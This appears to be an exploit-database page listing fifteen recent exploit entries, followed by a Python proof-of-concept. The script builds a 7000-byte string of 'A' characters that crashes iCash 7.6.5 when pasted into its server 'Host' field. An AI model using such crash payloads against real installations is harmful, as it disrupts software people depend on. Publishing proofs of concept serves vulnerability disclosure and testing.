b42759b8b8
15 changes to exploits/shellcodes jiNa OCR Image to Text 1.0 - Denial of Service (PoC) PixGPS 1.1.8 - Denial of Service (PoC) RoboImport 1.2.0.72 - Denial of Service (PoC) PicaJet FX 2.6.5 - Denial of Service (PoC) iCash 7.6.5 - Denial of Service (PoC) PDF Explorer 1.5.66.2 - Denial of Service (PoC) Infiltrator Network Security Scanner 4.6 - Denial of Service (PoC) Apple macOS 10.13.4 - Denial of Service (PoC) CirCarLife SCADA 4.3.0 - Credential Disclosure Rubedo CMS 3.4.0 - Directory Traversal SynaMan 4.0 build 1488 - Authenticated Cross-Site Scripting (XSS) SynaMan 4.0 build 1488 - SMTP Credential Disclosure IBM Identity Governance and Intelligence 5.2.3.2 / 5.2.4 - SQL Injection MyBB 1.8.17 - Cross-Site Scripting LG Smart IP Camera 1508190 - Backup File Download
25 lines
No EOL
888 B
Python
Executable file
25 lines
No EOL
888 B
Python
Executable file
# Exploit Title: iCash 7.6.5 - Denial of Service (PoC)
|
|
# Author: Gionathan "John" Reale
|
|
# Discovey Date: 2018-09-12
|
|
# Software Link: https://www.maxprog.com/site/misc/downloads_us.php
|
|
# Tested Version: 7.6.5
|
|
# Tested on OS: Windows 7 32-bit
|
|
# Steps to Reproduce: Run the python exploit script, it will create a new
|
|
# file with the name "exploit.txt". Copy the content from "exploit.txt".
|
|
# Now start the program. When inside the program click "File" > "Connect to Server..."
|
|
# Now paste the contents of "exploit.txt" into the fields:"Host"
|
|
# Click the "Connect" button and you will see a crash!
|
|
|
|
#!/usr/bin/python
|
|
|
|
buffer = "A" * 7000
|
|
|
|
payload = buffer
|
|
try:
|
|
f=open("exploit.txt","w")
|
|
print "[+] Creating %s bytes evil payload.." %len(payload)
|
|
f.write(payload)
|
|
f.close()
|
|
print "[+] File created!"
|
|
except:
|
|
print "File cannot be created" |